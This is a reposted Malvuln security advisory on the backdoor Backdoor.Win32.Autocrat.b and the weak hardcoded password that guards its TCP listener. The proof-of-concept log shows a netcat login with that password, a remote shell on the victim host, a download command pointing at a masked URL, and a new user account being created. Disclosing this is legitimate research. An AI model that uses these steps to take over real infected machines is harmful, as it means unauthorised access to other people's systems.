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Published on November 25th, 2022 📆 | 1711 Views ⚑

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Backdoor.Win32.Autocrat.b MVID-2022-0660 Weak Hardcoded Credential – Torchsec


https://www.ispeech.org/text.to.speech

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/4262a8b52b902aa2e6bf02a156d1b8d4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln

Threat: Backdoor.Win32.Autocrat.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware is packed with PeCompact, listens on TCP port 8536 and requires authentication. However, the password "autocrat" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.
Family: Autocrat
Type: PE32
MD5: 4262a8b52b902aa2e6bf02a156d1b8d4
Vuln ID: MVID-2022-0660
Dropped files: srvsupp.exe
Disclosure: 11/24/2022

Exploit/PoC:
C:\Users\gg\Desktop>nc64.exe x.x.x.x 8536
Login:autocrat

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user apparitionsec 666 /add
net user apparitionsec 666 /add
The command completed successfully.

C:\Users\Victim\Desktop>

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